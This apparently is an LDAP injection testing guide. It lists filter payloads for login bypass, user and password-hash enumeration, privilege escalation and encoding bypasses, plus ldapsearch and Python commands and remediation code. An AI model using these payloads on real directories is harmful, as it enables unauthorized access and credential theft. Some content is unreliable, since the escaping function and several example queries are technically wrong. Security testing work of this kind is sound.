ldap-injection-testing

LDAP Injection Vulnerability Testing

Overview

LDAP injection is a vulnerability similar to SQL injection, which exploits flaws in the construction of LDAP query statements and can lead to information leakage, permission bypass, and more. This skill provides detection, exploitation, and prevention methods for LDAP injection.

Vulnerability Principle

The application directly concatenates user input into LDAP query statements without sufficient validation and filtering, allowing attackers to modify the query logic.

Dangerous code example:

String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);

LDAP Basics

Query Syntax

Basic query:

(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))

Special Characters

Characters that need to be escaped:

• ( ) - Parentheses
• * - Wildcard
• \ - Escape character
• / - Path separator
• NUL - Null character

Testing Methods

1. Identify LDAP input points

Common functions:

• User login
• User search
• Directory browsing
• Permission verification

2. Basic detection

Test special characters:

*)(&
*)(|
*))(
*))%00

Test logical operators:

*)(&(cn=*
*)(|(cn=*
*))(!(cn=*

3. Authentication bypass

Basic bypass:

用户名: *)(&
密码: *
查询: (&(cn=*)(&)(userPassword=*))

More precise bypass:

用户名: admin)(&(cn=admin
密码: *))
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))

4. Information leakage

Enumerate users:

*)(cn=*
*)(uid=*
*)(mail=*

Retrieve attributes:

*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*

Exploitation Techniques

Authentication Bypass

Method 1: Logical bypass

输入: *)(&
查询: (&(cn=*)(&)(userPassword=*))
结果: 匹配所有用户

Method 2: Comment bypass

输入: admin)(&(cn=admin
查询: (&(cn=admin)(&(cn=admin)(userPassword=*)))

Method 3: Wildcard

输入: *)(|(cn=*)(userPassword=*
查询: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))

Information Leakage

Enumerate all users:

搜索: *)(cn=*
结果: 返回所有cn属性

Retrieve password hashes:

搜索: *)(|(cn=*)(userPassword=*
结果: 返回用户和密码哈希

Retrieve sensitive attributes:

搜索: *)(|(cn=*)(mail=*)(telephoneNumber=*
结果: 返回多个敏感属性

Privilege Escalation

Modify query logic:

原始: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
注入: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
结果: 可能绕过权限检查

Bypass Techniques

Encoding Bypass

URL encoding:

*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C

Unicode encoding:

* → \u002A
( → \u0028
) → \u0029

Comment Bypass

Use comments:

*)(&(cn=*
*)(|(cn=*

Null Character Injection

Use NULL bytes:

*))%00

Tool Usage

JXplorer

Graphical LDAP client:

• Connect to the LDAP server
• Browse the directory structure
• Execute query tests

ldapsearch

# 基础查询
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"

# 测试注入
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"

Burp Suite

1. Intercept LDAP query requests
2. Modify query parameters
3. Observe response results

Python script

import ldap3

server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
                        user='cn=admin,dc=example,dc=com',
                        password='password')

# 测试注入
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)

Verification and Reporting

Verification Steps

1. Confirm that the LDAP query can be controlled
2. Verify authentication bypass or information leakage
3. Assess impact (unauthorized access, data leakage, etc.)
4. Record the complete POC

Report Key Points

• Vulnerability location and input parameters
• How the LDAP query is constructed
• Complete exploitation steps and PoC
• Remediation recommendations (input validation, parameterized queries, etc.)

Protective Measures

Recommended Solutions

1. Input validation

   private static final String[] LDAP_ESCAPE_CHARS = 
       {"\\", "*", "(", ")", "\0", "/"};
   
   public static String escapeLDAP(String input) {
       if (input == null) {
         return null;
       }
       StringBuilder sb = new StringBuilder();
       for (int i = 0; i < input.length(); i++) {
         char c = input.charAt(i);
         if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
           sb.append("\\");
         }
         sb.append(c);
       }
       return sb.toString();
   }
   

2. Parameterized queries

   // 使用LDAP API的参数化功能
   String filter = "(&(cn={0})(userPassword={1}))";
   Object[] args = {escapedCN, escapedPassword};
   // 使用API构建查询
   

3. Whitelist validation

   // 只允许特定字符
   if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
       throw new IllegalArgumentException("Invalid input");
   }
   

4. Least privilege

   • Use a least-privilege account for LDAP connections
   • Limit the attributes that can be queried
   • Use access control lists

5. Error handling

   • Do not return detailed error information
   • Unified error response
   • Log errors

Precautions

• Perform only in an authorized test environment
• Note the syntax differences among different LDAP servers
• Avoid affecting the directory during testing
• Understand the configuration of the target LDAP server